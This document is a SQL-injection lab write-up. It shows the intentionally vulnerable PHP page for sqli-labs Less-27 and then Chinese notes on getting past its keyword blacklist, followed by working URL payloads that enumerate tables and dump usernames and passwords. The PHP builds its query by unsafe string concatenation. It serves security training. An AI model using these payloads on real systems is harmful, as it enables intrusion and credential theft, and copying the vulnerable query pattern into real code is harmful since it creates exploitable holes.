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<title>Less-27 Trick with SELECT & UNION</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-27.jpg" />
</br>
</br>
</br>
<img src="../images/Less-27-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
</center>
</body>
</html>
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}上面就是过滤函数。
这里我发现union是可以双写注入的，可是select就不行，不知道为什么.
这里的union和select并没有过滤好，可以使用随机大小写绕过。
对于注释，之前都是用单引号闭合的方法，这次使用;%00代替注释符
?id=1'%0border%0bby%0b4;%00
?id='%0bununionion%0bsELect%0b1,database(),3;%00
?id='%0bununionion%0bsELect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database();%00
?id='%0bununionion%0bsELect%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users';%00
?id='%0bununionion%0bsELect%0b1,group_concat(id,username,password),3%0bfrom%0busers;%00